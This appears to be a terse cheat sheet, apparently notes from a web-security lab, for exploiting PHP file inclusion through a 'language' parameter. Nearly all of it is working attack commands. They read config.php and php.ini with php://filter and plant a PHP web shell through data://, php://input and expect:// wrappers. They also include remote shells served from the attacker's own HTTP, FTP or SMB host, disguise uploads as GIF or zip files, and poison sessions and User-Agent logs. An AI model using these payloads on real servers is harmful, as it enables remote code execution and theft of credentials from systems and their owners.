# just use ffuf or gobuster to discover config php
# config is the php file just change it (config.php)
# the webserver always append the php extension
# then just decode the result
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://94.237.62.149:55270/blog/FUZZ.php
/index.php?language=php://filter/read=convert.base64-encode/resource=config
# Then just decode the base64
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
# see if allow_url_include is on
# that means we can execute some rce
/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini
> curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini" > php-ini.txt
> echo 'BASE64 OF php.ini' | base64 -d | grep allow_url_include
# Then just use the data function (base64&cmd=id)
# first we have to base64 the php cmd command
> echo '<?php system($_GET["cmd"]); ?>' | base64
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
> curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
# or we could use this way
> curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
# or we could use this way
> echo 'BASE64 OF php.ini' | base64 -d | grep expect
> curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
?language=http://127.0.0.1:80/index.php
# just use python3 server
> echo '<?php system($_GET["cmd"]); ?>' > shell.php
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
# just use python ftp server
> sudo python -m pyftpdlib -p 21
/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
> curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
# just use impacket smbserver
> impacket-smbserver -smb2support share $(pwd)
/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
# we can just change the extension of the file before uploading
> echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
/index.php?language=./profile_images/shell.gif&cmd=id
> echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
# PHP session
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
# Url encoded
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
<?php system($_GET["cmd"]);?>
# Then just include the session with cmd id
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
# PS do the steps everytime for every rce command
'<?php system($_GET["cmd"]);?>'
curl -s 'http://<SERVER_IP>:<PORT>/index.php' -A '<?php system($_GET['cmd']); ?>'